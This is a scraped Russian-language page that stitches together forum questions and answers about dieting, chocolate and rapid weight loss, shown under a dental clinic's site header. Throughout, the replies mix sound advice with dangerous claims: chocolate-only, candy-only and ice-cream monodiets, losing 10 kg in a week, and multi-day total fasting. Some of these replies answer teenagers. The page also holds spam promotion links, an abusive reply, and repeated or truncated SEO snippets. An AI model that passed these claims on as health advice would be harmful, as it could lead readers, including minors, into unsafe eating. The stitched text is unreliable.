Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Подскажите,что можно есть и не поправляться?!!=) Какую-нибудь легкую диету.. =))

Есть специальные коктейли, супы, батончики и тд http://www.herbalife.ru/ вот сайт

Вряд ли протеиновые батончики Гербалайф можно назвать диетическим продуктом, способствующим похудению.Что можно, а что нельзя есть при язве желудка? Диета при ожирении.

Овощи, фрукты

Лучше не есть жаренного, жирного и сладости. Ну там фрукты, овощи, гречка, кефирчик... и есть лучше по чучуть, но чаше, чем всё и сразу!!! !

А можно и вообще при диете есть батончик гемотегане?

В 100 граммах гематогена 350 каллорий (во всех по разному, приблизительно) Норма 1200 каллорий в день. Тебе решать)

Диета на батончиках мюсли.Однако, они будут полезны лишь в том случае, если будут приготовлены в домашних условиях, а не куплены в магазине.Кроме того, натуральными батончиками можно с успехом заменить не только утреннюю трапезу, но и полдник.

Можно даже полезно!!! !
если нужна хорошая диета возьми на заметку
На любой огуречной диете, вы не только худеете, но и нормализуете обмен веществ в организме. К тому же именно эта диета легка в соблюдении, потому что чувство голода просто не должно возникнуть. А за первые два дня потеря веса составит минимум — 1 килограмм! За всю неделю соблюдения огуречной диеты можно потерять до 5 килограмм.
На такой диете пить можно воду (желательно минеральную, опять же, для пользы здоровью) и зеленый чай
Меню огуречной диеты на 7 дней.
Меню первого дня диеты
Завтрак: кусок ржаного хлеба; два огурца.
Обед: постный суп из свежих овощей; одно яблоко.
Полдник (по желанию) : один апельсин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню второго дня диеты
Завтрак: кусок ржаного хлеба, один огурец.
Обед: 50 грамм отварной говядины, салат из редиса и огурца.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню третьего дня диеты
Завтрак: кусок ржаного хлеба, два огурца.
Обед: 100 грамм отварной рыбы, 100 грамм отварного риса; один соленый огурец.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на четвертый день огуречной диеты
Завтрак: кусок ржаного хлеба; один огурец.
Обед: 100 грамм отварного риса; огурец; 20 грамм сыра твердых сортов.
Полдник (по желанию) : одна груша.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на пятый день диеты
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной салат из огурца, капусты, моркови и редиса; один апельсин.
Полдник (по желанию) : одно яблоко.
Ужин: салат из огурца и зелени с заправкой растительным маслом; 20 грамм сыра твердых сортов.
Меню на шестой день огуречной диеты
Завтрак: кусок ржаного хлеба; один огурец.
Обед: овощной суп, одно яйцо; одна груша.
Полдник (по желанию) : один мандарин.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Меню на 7 день диеты
Завтрак: кусок ржаного хлеба; два огурца.
Обед: овощной суп, одно яблоко.
Полдник (по желанию) : один огурец.
Ужин: салат из огурца и зелени с заправкой растительным маслом.
Кстати, на какой бы диете вы не сидели, не забывайте принимать комплекс витаминов, обогащенный минералами, ведь исключительно на одних огурцах, организм ощутит нехватку столь необходимых для его нормального функционирования веществ.

Лучше темный шоколад, 99%, плитку на неделю.

Привет,скажите пожалуйста, можно ли на шоколадной диете есть там молочный шоколад,горький,батончики?подскажите что надо?

Батончики смотря какие там просто обычно много калорий (для энергии)
обычный молочный шоколад тоже имеет много калорий
лучше всего подойдет горький шоколад без добавок (орешков, изюма)

Анастасия а какой шоколад при такой диете можно есть ? только ч рный,или ещ можно молочный ? Эллен Заниматься надо,а не на диетах сидеть!

А где в этой диете -витамины, клетчатка, минералы, которых организму необходимо в течение дня около 600 наименрваний?
все диеты -хождение по кругу: сбросил-набрал- сбросилИ т. д. Не диета нужна, а правильное питание, вода и хотя бы минимаоьное движение, т. е. образ жизни надо продумать.

Горький черный шоколад

Диета из разряда "И рыбку съесть и косточкой не подавиться. ". Диета бред и не эффективная.

Оооо я сидела и похудела, ела горький шоколад (55% какао) можно просто темный, но не в коем случае молочный. Только горький!!!! Удачи)

Есть ли шоколадная диета, для сладкоежек подскажите? или же заклееть рот скочем чтоб сладость не употреблять!

Гипоаллергенная!!!

При диете можно есть только черный шоколад, так как он содержит больше какао-бобов, чем какао-масла, что не характерно для молочного и белого шоколада. При этом употребление черного шоколада уменьшает риск заболевания сердечно-сосудистой системы...

Про такую диету не слышала, но знаю по себе, что шоколад поднимает настроение.

Рот говном забей и заштопай капроновыми нитками!!!!

Диеты нет. Но я знаю людей, которым необходимо сладкое, потому что от нехватки сахара в организме, они падают в обморок. Если им дать конфету будет лучше. Это болезнь такая. А если Вы этим не страдаете-ешьте, но в меру.

Мне бы тоже такую диету да еще и худеть во время нее)))

ШОКОЛАДНАЯ ДИЕТА - это парадоксальный способ убить двух зайцев – и прилично похудеть, и не ограничивать себя в потреблении своего излюбленного лакомства – шоколада/
ШОКОЛАДНУЮ ДИЕТУ, рецепт которой мы вам предлагаем, ввели в практику итальянские диетологи. Продолжительность шоколадной диеты – от 5 до 7 дней, после чего нужно сделать перерыв на 4 дня, а лучше на 6. Через неделю вы избавитесь от 6 совершенно не нужных килограммов. Пить можно только через 3 часа после приема пищи.
ШОКОЛАДНАЯ ДИЕТА разрешает смешивать эти продукты, а также перекусывать между основными приемами пищи. Продукты можно потреблять в любом виде. Например, в понедельник завтракать целыми плодами, во вторник – соорудить себе с утра фруктовый салат, а в среду отметить начало дня яблочным пюре.
Замечательное свойство шоколадной диеты в том, что голодание оказывается антипродуктивным. То есть морить себя голодом не нужно и даже запрещено. Отсюда официальное разрешение перекусывать между основными приемами пищи. Шоколад поможет оставаться бодрыми и энергичными. Правда, нельзя превышать указанную норму – 30 г в день. Строгих временных рамок для шоколадной диеты нет – в среднем, можно «сидеть» на ней около недели.
Примерный суточный набор продуктов для шоколадной диеты:
Паста ( спагетти, лапша, ракушки и другие твердые макаронные изделия );
Соусы для пасты ( с низким содержанием жиров, преимущественно без мяса, хотя возможны исключения в виде небольших кусочков белого мяса );
Салаты ( заправленные обезжиренными соусами, без сухариков );
Овощи;
Свежие фрукты;
Попкорн ( приготовленный без масла и соли ); Топпинги ( добавки ) для попкорна могут включать обезжиренное масло, овощные добавки, сухой чеснок, соевый соус, уксус, острый перец, твердый пармезан.
Шоколад ( 30 г в день );
Вода ( 2 литра в день ).

В продаже есть батончики Detour двух видов 43 или 85 г. Первый стоит 100 рублей, второй 140 рублей.Им можно перекусить, чтобы продержаться до следующей трапезы и не нарушить диету. Батончик Detour неплохая альтернатива сладостям.

Диета: в течение дня можно съесть два шоколадных батончика по 40 грамм, выпить кофе без сахара с обезжиренным молоком. Пить разрешается через 3 часа после того, как поедите. За пять дней такой диеты можно похудеть на 6 килограммов. к сожалению как и все моно-диеты шоколадная плохо влияет на печень, а если ты любишь сладкое предлагаю тебе вот такой вариант Девиз такого питания «можно есть всё и худеть» система минус 60: на завтрак, а он до 12, можно есть абсолютно всё не считая размер и калорийность блюда, на обед и ужин определенный список сочетаемых продуктов, http://www.dieta-da.ru/minus60.htmна этом сайте подробное описание системы, книги, форумы худеющих, фото, рецепты, Екатерина Мириманова автор этой системы таким образом похудела на 60 кг за 1,5

Шоколадная диета -одна из самых жестких и тяжелых диет. На шоколадной диете дозволяется в течение дня съедать до 80 граммов шоколада или шоколадных батончиков. Пить можно только кофе без сахара с обезжиренным молоком, причем не ранее чем через 3 часа после еды. Шоколад отбивает аппетит, а кофе борется с шоколадными запорами. ( Этой диетой нельзя пользоваться при гипертонии, диабете, заболеваниях желудка, печени и поджелудочной железы. )
Диета леденцовая или конфетная. Ее авторы предлагают завтракать, обедать и ужинать леденцами (лучше витаминизированными из аптеки) . При этом необходимо пополнять в организме запасы кальция. Его можно принимать в таблетках. Можно диету дополнить нежирным творогом или двумя стаканами молока; для защиты от кариеса нужно регулярно чистить зубы. Ощущения вполне комфортные: есть после сладких леденцов совершенно не хочется. При леденцовой диете нужно пить не меньше двух литров в день. А за первую неделю леденцовой диеты вполне можно скинуть от 5 до 8 килограммов.
На второй неделе переходим на полноценный завтрак, а леденцы - на обед и ужин. Наши запасы жира при этом уменьшатся еще на пару килограммов. На третьей неделе леденцы остаются только на ужин. Исчезает еще килограмм живого веса.
Углеводная диета. Суть углеводной диеты: мороженое на завтрак, обед и ужин. Оказывается, все дело в кальции. Если его не хватает, наш организм начинает запасать жир. Если же много - жиры не откладываются, а расходуются. В результате мы худеем. В мороженом кальция очень много. Здесь тоже есть свое “но”: не забывайте, от холодного может заболеть горло. А у людей со слабыми почками избыток кальция может вызвать мочекаменную болезнь.
Народная мудрость гласит: самое лучшее средство для похудения – пустой холодильник. Когда тебе предлагают что-нибудь съесть, можно исполнить упражнение для похудения: повороты головой слева направо:))

Дробное питание. Через какое и в какое время нужно принимать пищу? В каком количестве?

Может ли одна горькая шоколадка использоваться в разгрузочный день? или какой вы используете

Я всякий ем.
У меня каждый день разгрузочный.

Диета и шоколад - совместимы ли они? Бывает, смотришь на себя в зеркало и отворачиваешься - так не нравится свое отражение.Многие считают, что шоколад при диете можно есть только горький.

Конечно ты можешь использовать один горький шоколад в разгрузочный день. Но не забывай, что твой желудок при этом пострадает.

Можно, три кубика в день совсем не повредят

Лучше до 12 (утром)

Люди помогите как похудеть? кто знает какие диеты??!!Мне надо за месяц убрать лишний вес!!!

Можно 6 кг за 2 недели, если ты будешь есть кефир и яблоки, не целый день, а так сьела один раз + пробежка, зарядка, чем больше движений тем больше каллорий горит. (при пробежке 6 км сгорает жареная котлета)

Понятно, что именно является основой шоколадной диеты. Однако тут есть некая загвоздка. Шоколад должен быть только горьким, так как он менее калорийный и самый полезный.При шоколадной диете можно, а порой даже нужно

Правильно питайся, вот и все. Не ешь то, что любят подростки твоего возраста - всякие чипсы, сухари и сладости в большом количестве, исключи газированные сладкие напитки типа Колы и Фанты. Утро начинай со стакана прохладной некипяченой чистой воды. Потом полноценный завтрак. Отдавай предпочтение белковой пище, тебе сейчас это важнее - нежирное мясо, рыба, с курицы снимай кожу, нежирный творог и кефир. Разумеется, фрукты и овощи. В твоем возрсте на диете сидеть нельзя. А вот питание отрегулировать нужно. И пей в течение дня не менее 1,5 литров обычной воды.

Каждому челвеку нужна персональная диета, но мы пробуем что попало :( Я худела за месяц на 8кг, сидела на огурцах и кефире + вареное мясо, салатиктолько с маслом :( И ничего мучного сладкого и желательно хотяб заядку по утрам или вечерам делать, элементарно пресс качать :)

Девушка, возьмите себя в руки. ) да, лишний вес есть, но далеко не самый ужасающий, во-первых. а во-вторых, если вы сбросите 6 кг за 2 недели, то после этих двух недель они стремительно вернутся и приведут с собой "пленных", которые опять же осядут на вашем животике.
лучший способ похудеть - это постепенный сброс килограммов. хотя поначалу они будут сбрасываться быстрее. делайте зарядку на все группы мышц утром - тогда они будут работать весь день, пока вы в школе или еще где, и сжигать жир. крутите после уроков обруч, и потяжелее. пейте больше воды. обязательно не ешьте после 6-7 вечера (ну поляблочка или немного обезжиренного йогурта не страшно, если очень голодная) . делайте контрастный душ на живот. больше гуляйте пешком, когда погода позволяет. результат не заставит себя ждать)

Возьми я тебе советую английскую диету, вообще она длится около 21 дня, но ты можешь сколько понравится на ней быть! скажем так, диета очень сбалансированная, очень легкая, но в то же время на ней отличненько худеешь, говорю по личному опыту. В ней много плюсов, один из них, что не нужно считать никакие каллории, никакие баллы, ты не истощаешь организм недостатком витаминов, ты не думаешь постоянно о еде, настроение отличное, короче говоря если хочешь попробуй, потом напишешь мне)))

Все очень просто, не надо кушать вредные продукты, пить газировку, да и на ночь лучше ненаедаться, а еще лучше не есть после 18.
Да и про зарядку не надо забывать, обруч крути, да на скакалочке попрыгать будет здорово.
можешь в поисковике посмотреть систему Екатерины Меримановой, там найдешь полезные советы.
Удачи!

Можно ли кушать шоколад во время диеты.Из всего этого следует вывод, что по возможности лучше исключить шоколад из рациона диеты. Какой бы он ни был черный, молочный, диабетический или на фруктозе это достаточно калорийный продукт.

Нужно спортом заниматся

Реально помогает не есть булок, картофеля, пирожных недели три + сладкое исключить, ешь только сладкие фрукты, и старайся немного. Ешь не больше 1200 кк. в день. Питаешься вареным мясом, курицей, рыбой, нежирным творогом, йогуртом, фруктами и овощами. Никаких соусов, чая с сахаром (можно с чуточкой меда) , орехов, шоколада, мороженого, чипсов. ничего жареного, максимум чуточку оливкого масла в салат. Пей много жидкости, движение или спорт - обязательны. Аэробика, бег, танцы, длительные прогулки.... это сложно, но чем раньше за себя возьмешься, тем лучше (я сбросила 11 кг. когда мне было 18)

Немогу обещать за две, но обязательно преобразишься к пляжному сезону!! !
система минус 60....принцип на завтрак до 12 есть все что захочешь, не обращая на вредность и на количество каллорий, на обед и ужин (до 18) список определенных сочетаемых продуктов (есть на сайте) , http://www.dieta-da.ru/minus60.htm Екатерина Мириманова, создавшая эту систему прошла через все сама, и похудела со 120 до 60 кг за 1.5 года, там есть также форумы худеющих, общие рекомендации, фото, книги и рецепты автора системы. .
в "ответах" ссылка форума не отображается!. . напиши свой эл. адрес, я тебе пришлю ссылки, с помощью которых можно узнать о системе ВСЕ! !
также могу выслать книги в эл. варианте....

Реально ли за 1 неделю сбросить 10 кг?

Нет, минимум за две...

Да,только 75%. Фирма любая. Шоколады 75% стоят прилично и все качественные. Удачи в похудении!

Может и реально, но вредно!

Есть желание? Будет и результат!

Мможно. но это очень вредно для организма /полное обезвоживание организма и лишение витаминов.... самое оптимальное похудение - это 1 кг. в неделю

Вообще-то реально. Только учти, что кожа натянуться не успеет и будешь выглядеть как шарпей :)))))))))))))) Зрелище ужасное, не приведи господи ещё раз такое увидеть

Совершенно нереально.

Можно ли шоколад на диете, и насколько эффективны диеты на шоколаде? Многие считают, что шоколад на диете, равноОднако практика показывает, что шоколад, точнее, некоторые его разновидности, вполне может входить в диетический рацион, и даже быть его основой.

Реально за 2 недели... строго придерживаясь диеты.

Конечно нет .За месяц можно, если питаться одними бульонами

Вам себя не жалко
потом на 3 дня 15 наберёте
хотите похудеть - включите мозги

Ха кожа!! ! а вы представте на какой части тела окажется ваша грудь, если она будет свисать до пупа то это еще не беда. Похудеть можно, но какой останется результат ???

Реально с привлечением хирурга! А без хирурга тож реально, но до конца недели не доживешь...

Можно ли есть шоколад при диете за и против шоколада для худеющих в чем преимущества черного шоколада перед молочным и белым достоинства и недостатки шоколадной монодиеты.

ЧЕГООООООО! ?
Если выпить слабительное, и не есть ни чего то да!
Только потом вам это будет уже не важно...

Элементарно. Надо просто каждый день сбрасывать по 1, 429 кг.

Можно. могу скинуть полезную программу мнижения веса. Но дорого 1000 долл

За неделю вряд ли, а вот за 10 дней, да. Причем с пользой для здоровья. Рецепт прост: Норбеков (оздоровительный курс) плюс Борменталь (рациональное питание) минус алкоголь.
Но придется потрудиться. Заниматься молжно самостоятельно дома.

Врятли, если только голодать! Голодание полезно, но перед нужна консультация врача!

Что сладкое можно есть при диете? Многие с детства помнят, как им говорили, что много сладкого есть вредно.Просто важно знать и помнить, какие фрукты можно есть при диете, и какие сладости можно есть при диете.

За вторую неделю полного голодания.
Без присмотра врача можно 10 суток. Далее - консультации.
Не панацея.

Нереально!!!

Ещё как реально, только лучше не рисковать здоровье поберегите

Даже если Вы и сбросите 10 кг за такой срок, то Вы заработаете себе большие проблемы со здоровьем. Вообще диетологи рекомендуют худеть в месяц не более чем на 4-5 кг.. . И тогда вреда здоровью не будет...

А ради чего? Любовь? - Смешно...

Можно ли есть шоколад на диете. Шоколад является вкуснейшим лакомством и прекрасным лекарственным средством, помогающим при многих недугах. Употребление его в умеренных количествах способно предупредить возникновение многих заболеваний.

Да! Повесь из инета по всей квартире фотки охренительно толстых тёток в стиле ню!

Почему не бывает шоколадных диет?

Есть шоколадная диета почему нет?

Мюсли очень полезны, в них много витаминов и мало калорий, несомненно на диете их можно есть. Но все-таки стоит избегать мюслей в батончиках, там может содержаться сахар или шоколад.

Есть такая. Поищите.

Бывает) Моно есть только шоколад, чёрный и не большими колличествами, но это вредно))

ЕСТЬ в день только 80 гр, черного горького шоколада и кофе черный

Как это нет. Есть такие диеты. Только те кто это пробовал, и дня не могли просидеть на ней. Уж очень это проитарно.

Кто же Вам мешает? Дерзайте. Месяц на шоколаде - вот и прецедент

Мы не просто заполняем интернет-пространство, мы ищем и находим то, что может быть интересно широкой аудитории женщин, желающих быть в курсе самыхВ журнале JustLady всегда можно подобрать оптимальную для себя диету, решить насущные женские вопросы.

Есть такая, причём из разряда самых строгих!!!

На диете "сидеть" надо.. .
не понимаете как будто.. .
растает же!)))))

Девочки! А вы слышали про шоколадную диету?

Слышала ..Кирдык поджелудочной.

Диета на шоколаде может быть жесткой или же более умеренной, выбирать вам, а для начала ознакомимся с основнымиПолучается, 1500 ккал сжигаются за счет жировой ткани, так что за неделю шоколадной диеты можно спокойно расходовать именно 1 кг. подкожного жира.

Фантастика...

Да, и говорят неплохие результаты дает. Но это кому как: там нужно есть грький шоколад.. . а я вообще например сладкое не очень (мне предпочтительнее и надежнее овощную и яблочную) . Но многим шоколадная понравилась, но это сладкоежкам больше подходит

Слышала. бред это.

Как можно похудеть не отказываясь от сладенького?)))

Кушать мало, но часто!

Казалось бы, сладости при диете парадокс. Ну кто ест сладкое, когда худеет? Оказывается, существует ряд сладких и вкусных продуктов, которыми можно побаловать себя даже в процессе похудения. Какие сладости можно при диете?

Никак

Не сильно.

Я тоже этим страдаю. А так охота похудеть!!!

Можно конечно))))

Перестать есть после шести!! ! У меня на глазах подруга так похудела! До шести ешь хоть торт каждый день, а вот после ни-ни!!!!

Диета на шоколаде может быть жесткой или же более умеренной, выбирать вам, а для начала ознакомимся с основнымиПолучается, 1500 ккал сжигаются за счет жировой ткани, так что за неделю шоколадной диеты можно спокойно расходовать именно 1 кг. подкожного жира.

Покупать диетические низкокалорийные сладости

Есть моно шоколадная диета.

Можно сделать все это с помощью француского способа, а то есть занимайся больше сексом и ни в чем себе не отказывай

Не ешьте мясные продукты

А) кушать сладенькое до 12.00
б) всего еды в день столько, сколько помещается в Вашу пригоршню + от 1,5 литров воды
Проходить пешком в день не менее 5 км

Мюсли-батончики можно также делать самостоятельно, тогда вы точно будете уверены в их натуральности и полезности.Диета Анжелины Джоли. Худеем в течении месяца. Злачное место так ли полезны мюсли- батончики?

Кушать больше фрутов. В них есть фруктоза

Главное не есть после 6 вечера... Это точно и не оспаривается... Тогда можно есть все, но в меру....))))

Лучше отказаться похудеть... чем от такого удовольствия...

Очень просто, после 18.00 закрывать холодильник до 08.00, а остальное время можешь себе любимой невчём не отказывать.

Очень просто: влюбиться в Меня!

Итак, можно ли шоколад при диете? Все диетологи мира уже давно пришли к общему мнению, что шоколад есть можно, и даже нужно, поскольку этот продукт поднимает настроение, благотворно влияет на кровеносную систему, улучшает работу сердца.

Сладкое - отдельным приемом!

Попроси свою партнёршу (партнёра) надеть на тебя ошейник с поводоком (ЛУЧШЕ ПАРФОРС!) , сесть на велик, взять в руки хлыст и ехать. Как только ты сдаёшь в своём беге - по местам ловушкам жира получаешь. Через неделю будешь задавать вопрос как излечиться от анарексии. Удачи!

Я только сладким и питаюсь - тортики, кексы, тортинки, ШОКОЛАД!!! !
и иногда все равно худею, тогда на сливочное масло наседаю.. .
от шоколада вообще очень легко отощать.
у меня просто жизнь очень похожа на предыдущий ответ (выше моего) - тоже самое - 4-х часовые тренировки - еле ноги ношу.... но это счастье - у меня не велоспорт, а танцы!

Надо 1 раз в неделю есть селедку с молоком!

Лучше заменить искусственные сладости натуральными, финики, сушеная хурма, очень вкусно, сладко, полезно. Если не можете отказаться совсем от конфет и тортиков, кушайте их в меньшем количестве, маленькими кусочками, тщательно пережёвывайте, наслаждаясь моментом. Ну и конечно лучше кушать сладости в первой половине дня и, как писали выше, отдельным приёмом пищи.

Вряд ли протеиновые батончики Гербалайф можно назвать диетическим продуктом, способствующим похудению.Что можно, а что нельзя есть при язве желудка? Диета при ожирении.

Как можно быстро похудеть? или диету быстрого похудания? хочу похудеть до нового года очень надо

Вареный рис, без всего; овощной салат с подсолнечным маслом. больше ничего - эффект гарантирован

Диета на батончиках мюсли.Однако, они будут полезны лишь в том случае, если будут приготовлены в домашних условиях, а не куплены в магазине.Кроме того, натуральными батончиками можно с успехом заменить не только утреннюю трапезу, но и полдник.

Быстро худеть - очень вредно! Но если надо, то пишите мне

Пить много жидкости. есть маленькими порциями.

Вика похудеть к Новогодним празникам не проблема, но резкое похудение достанет тебя резким пополнением. Кушай отварнуюсвеколочку, рыбку.

Я сидела на одной программе похудения 3 года назад, результаты потрясающие! Главное вес не вернулся, вернее вернулось полтора кг, но против 15,
что я потеряла - считаю, что это хороший показатель. Если кого интересует, мне помогли на www hudejsam ru - только точки поставьте между словами,
Обещали скоро выложить эту программу похудения для всех! А пока там можно подписаться на бесплатную рассылку о том,
как превратить процесс похудения в удовольствие не нанося вреда здоровью. Тоже кстати очень действенно и все описано пошагово Счего начинать, в какой последовательности что нужно делать.
Целлюлит с килограммами убегает просто на глазах! Так похудела я, и 2 мои соседки (кстати тоже мамочки)
без каких-либо физических нагрузок: я не заморачивалась по поводу подсчета калорий, не мучалась чувством голода,
побочных эффектов для организма и здоровья до сих пор никаких не обнаружила, кожа подтягивалась по мере похудения, без возврата сброшенного веса.
Похудела на 15 кг. за 4 недели! Просто супер, писала отзывы на галя. ру.
Как похудела, сразу появилось желание заняться спортом!

Есть ли шоколадная диета?

Есть, кроме шуток.

Анастасия а какой шоколад при такой диете можно есть ? только ч рный,или ещ можно молочный ? Эллен Заниматься надо,а не на диетах сидеть!

Есть только из натурального шоколада и обязательно горького

Диета может быть любая.. . Хоть шоколадная хоть мороженная.. . Главное только есть что-то одно.. . и похудеешь!

Есть, только шоколад должен быть настоящим, с высоким процентом содержания какао - бобов...

Да плитка горького шоколада в день

Конечно, есть.
Её описание: есть можно ТОЛЬКО шоколад (причем неважно каких сортов), а пить всё, что захочешь - в этом ограничений нет.

При диете можно есть только черный шоколад, так как он содержит больше какао-бобов, чем какао-масла, что не характерно для молочного и белого шоколада. При этом употребление черного шоколада уменьшает риск заболевания сердечно-сосудистой системы...

Возможно:) Если конечно есть только натуральный горький шоколад, но не больше раза в день! А то это уже не диета! Удачи тебе!!!

Наверное, да, хотя я слышала только о просто конфетной. "Милхана" пишет верно, но тебя от однообразия начнет тошнить от чего угодно уже к 3-ему дню...

Есть но. 1 она вредна для печени....2 очень голодная 3 дает откат....в день можно 2 горьких шоколадки по 50 грамм и море кофе без сахара

Да, существует такая.

Когда Вы не голодны, но очень-очень хочется что-то вкусненькое (например, когда смотрите любимое кино), что Вы едите?

Я пью чай))))

В продаже есть батончики Detour двух видов 43 или 85 г. Первый стоит 100 рублей, второй 140 рублей.Им можно перекусить, чтобы продержаться до следующей трапезы и не нарушить диету. Батончик Detour неплохая альтернатива сладостям.

Не поверите, ничего

Я себе ни в чем не отказываю... Но форму свою держу. А при просмотре фильма я обычно оливье ем и колу пью)) Читаю книгу на моб телефоне но не жую ничего... А диета это лишнее человек должен питатся либо заболеет от нехватки витаминов... Можно крутить обруч бегать и пресс качать спорт еще никогда не навреждал организму))

Вода.. и только вода.. вот хочется чего то.. но чувствуешь, что голода нет.. возьми и выпей стакан воды.. и все успокаивается.. что в итоге? Организм просил воды...

Ем все подряд)

Яблоки, кефир, банан.

Диета и шоколад - совместимы ли они? Бывает, смотришь на себя в зеркало и отворачиваешься - так не нравится свое отражение.Многие считают, что шоколад при диете можно есть только горький.

Яблоко.. киви... грушу... воду чистую пью,... батончик мюсли Виталанд заместо конфет

Что из еды лучше всего взять с собой в поездку с классом в Москву? Из магазина (не дорогое)

На какое время в пути вы расчитываете

Понятно, что именно является основой шоколадной диеты. Однако тут есть некая загвоздка. Шоколад должен быть только горьким, так как он менее калорийный и самый полезный.При шоколадной диете можно, а порой даже нужно

Возьми курагу или чернослив, банановые чипсы тоже неплохо, можно ореховую смесь - при диете не вариант, попить - обычную воду, минералку или домашний морс или компот, можно взять фрукты

Возьми семечек и особо не выделяешься и дёшево.

Фрукты

Печенье

Семечки, орешки, можно фрукты (яблоко, банан), побольше воды, и печенье обычное с маком, на перекус))

Можно ли кушать шоколад во время диеты.Из всего этого следует вывод, что по возможности лучше исключить шоколад из рациона диеты. Какой бы он ни был черный, молочный, диабетический или на фруктозе это достаточно калорийный продукт.

Орешки, фрукты.

Помогите с диетой, пожалуйста!

Причина излишней полноты в недостаточном БЕЛКОВОМ питании. И вот почему. Женщина (чаще всего) желая похудеть, садится на ОБЕЗЖИРЕННЫЕ низкокалорийные диеты. Но нельзя прожить на 200 калории в день! Мы постоянно расходуем
энергию для поддержания температуры тела, передвижений, на работу мозга и внутренних органов. И наш мозг воспринимает эту ситуацию как ОТСУТСТВИЕ ПИЩИ, как настоящий ГОЛОД! Мы можем прожить недели или месяцы без белков, углеводов или жиров. Но, как известно, мы не в состоянии прожить недели или месяцы без воды. В нашем мозге при отсутствии пищи в первую очередь (в течение 24 часов) происходит увеличение производства специальных гормонов с целью удержания в организме ВОДЫ и НАТРИЯ – во избежание наступления обезвоживания (пока, как организм думает, мы заняты поиском пищи). И вот, перед нами бедная дама, которая в результате недостаточного потребления белков, начинает накапливать ВОДУ и НАТРИЙ в своем организме. И, естественно, начинает набиратьВЕС, потребляя всего 1000 калорий, думая при этом, что ест все еще слишком много. Опять садится на диету, опять накапливает воду....
Круг повторяется. Поэтому худеть нужно правильно, Вам могут помочь http://vk.com/public92295746

Да,только 75%. Фирма любая. Шоколады 75% стоят прилично и все качественные. Удачи в похудении!

Для похудения совсем не обязательно ругаться, а тем более пить шоко. Если "шоко" - это шоколад, то он расшатывает нервную систему и нарушает обмен веществ.

Конечно бывают родители врут, но не в твоём случаем, мне кажется всё норм., но если решила..
Худейте на средиземноморской диете. Хотя эффективность ни одной из диет доказана не была, лучший результат продемонстрировала средиземноморская диета. Она основывается на традиционных продуктах и способах приготовления пищи средиземноморского региона. Исследования выявили, что люди, придерживающиеся этой диеты, менее подвержены риску заболеваний сердца. Кроме того, она помогает худеть и стройнеть. [10] Старайтесь есть следующие продукты (и откажитесь от хлеба, молочных продуктов и переработанной пищи):
Рыба
Оливковое масло
Овощи
Фрукты
Горох и прочие бобовые
Специи
Орехи
Красное вино
Ешьте продукты, которые подавляют аппетит. Сбалансированное питание не только обеспечит организм необходимыми веществами, но и поможет подавить аппетит, чтобы вы не переедали и не отказывались от новой системы питания. Есть продукты, благодаря которым вы долгое время будете чувствовать сытость. К ним относятся:
Грейпфруты
Овсяные хлопья
Яблоки
Яйца
Имбирь
Орехи
Зеленые листовые овощи
Картофель
Темный шоколад
Острая пища
Ведите дневник питания. На протяжении недели записывайте каждое съеденное блюдо, перекус и напиток, а также примерные количества всей еды. Это позволит вам принимать более правильные решения при выборе еды, а также будет мотивировать вас заботиться о здоровье. По возможности записывайте количество калорий напротив каждого продукта или блюда.
Не забывайте фиксировать напитки на основе кофе, приправы, заправки и соусы.
Следите за размером порций. Очень важно контролировать, сколько именно вы съедаете. Например, большая горсть миндаля и сушеной клюквы может оказаться очень калорийным перекусом, если вы не будете ограничивать порции. Заготавливайте еду для перекусов заранее, разделяя на порции, и тогда вы не сможете случайно съесть лишнего. [15]
Выбирайте более насыщенные калориями версии любимых снеков. Вы будете есть их дольше, и вам не захочется съесть слишком много. Например, небольшой батончик черного шоколада приятен на вкус, но он медленно тает во рту, и после него не хочется съесть еще один, зато молочный шоколад съедается просто незаметно. Обычное светлое пиво выпивается очень быстро, вызывая аппетит, а темное пиво (даже самое вкусное) пить гораздо сложнее. Пообещайте себе съедать или выпивать только одну порцию.
Составьте список необходимых продуктов для блюд и придерживайтесь его в магазине. Старайтесь просматривать брошюры магазинов, чтобы узнать, на какой товар будет скидка, и не обходите вниманием витрины с акциями.
И т. п.

Да, блин....
К сожалению, ты даже диету выбрала не для похудения, а всем назло.
Не похудеешь. Назло себе. Ты выбрала фактически голодание, после окончания которого тут же нажрёшь сброшенный вес заново.
Плюс очень тупое оправдание для диеты. При росте 160 см 55 кг это вес-норма. Но если ты начиталась моднявых журнальчиков с модненькими диетами, то тебе это не доказать. Как не поймёшь ты и то, почему после голода ты заново наберёшь вес.

Мой рост 168 а вешу 57кг. И не считаю себя толстой. Живот свисал. Но начала качать пресс. Ккл сжигались а мышцы подтягивались. Еще я прыгала со скакалкой в день 2тыс раз. Ем все кроме мучных продуктов и сахара. Так уже больше года. И чувствую себя офигенно классно. Ты не толстая, ты просто не не ухаживаешь за своим телом. Надо подтянуть мышцы живота, а диетами он не придет в норму НИКОГДА!!! Пройдет но временно, до следующего обеда. Желаю удачи!

Я тоже на диете... и предки в любом случае будут твердить, что не надо (особенно бабушка!). Но если ты действительно поставила себе цель, то стремись к ней!

Можно ли шоколад на диете, и насколько эффективны диеты на шоколаде? Многие считают, что шоколад на диете, равноОднако практика показывает, что шоколад, точнее, некоторые его разновидности, вполне может входить в диетический рацион, и даже быть его основой.

На диету вовсе не надо садиться, просто питайся правильно и в меру, не наедайся много лучше быть немного голодной чем потом чувствовать дискомфорт! Начни заниматься спортом) И всё будет на ОК))

Помогите, как похудеть, мне 14 лет, рост 170, вес 64.. По-моему я толстовата для своего возраста...

170x64=нормально же

Можно ли есть шоколад при диете за и против шоколада для худеющих в чем преимущества черного шоколада перед молочным и белым достоинства и недостатки шоколадной монодиеты.

Норма

Не пхай в себя все подряд, мне напоменаешь кое кого, худеет а сама ест по 10 пирожков за рас )

Нормально для такого роста.

